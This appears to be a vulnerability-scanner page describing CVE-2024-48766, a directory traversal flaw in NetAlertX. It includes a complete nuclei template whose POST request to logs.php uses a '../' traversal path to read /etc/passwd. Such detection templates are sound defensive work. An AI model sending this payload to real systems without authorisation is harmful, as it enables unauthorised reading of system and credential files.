NetAlert X - Arbitary File Read

criticalseverity

8.6CVSS score

67.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability has been identified in NetAlertX versions v24.7.18 - v24.9.12.

Impact

This vulnerability allows remote attackers to list directories on the affected system. Successful exploitation could enable unauthorized users to explore the system’s internal structure.

Fix

Fixed in v24.10.12

How to confirm it

Send: POST /php/components/logs.php
Positive when: regex('root:.*:0:0:', body) and contains(body, "Purge log") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-48766 -u <target>

The full check

id: CVE-2024-48766

info:
  name: NetAlert X - Arbitary File Read
  author: s4e-io
  severity: critical
  description: |
    A directory traversal vulnerability has been identified in NetAlertX versions v24.7.18 - v24.9.12.
  impact: |
    This vulnerability allows remote attackers to list directories on the affected system. Successful exploitation could enable unauthorized users to explore the system’s internal structure.
  remediation: |
    Fixed in v24.10.12
  reference:
    - https://advisories.checkpoint.com/defense/advisories/public/2025/cpai-2024-1358.html
    - https://github.com/rapid7/metasploit-framework/pull/19881
    - https://github.com/jokob-sk/NetAlertX
  classification:
    cve-id: CVE-2024-48766
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    epss-score: 0.67909
    epss-percentile: 0.99328
    cpe: cpe:2.3:a:netalertx:netalertx:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jokob-sk
    product: netalertx
    fofa-query: "NetAlert X"
  tags: cve,cve2024,netalertx,lfi,vkev,vuln

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /php/components/logs.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        items=[{"buttons":[{"labelStringCode":"Maint_PurgeLog","event":"logManage(app.log, cleanLog)"},{"labelStringCode":"Maint_RestartServer","event":"askRestartBackend()"}],"fileName":"{{filename}}","filePath":"../../../../..//etc/passwd","textAreaCssClass":"logs"}]

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(body, "Purge log")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from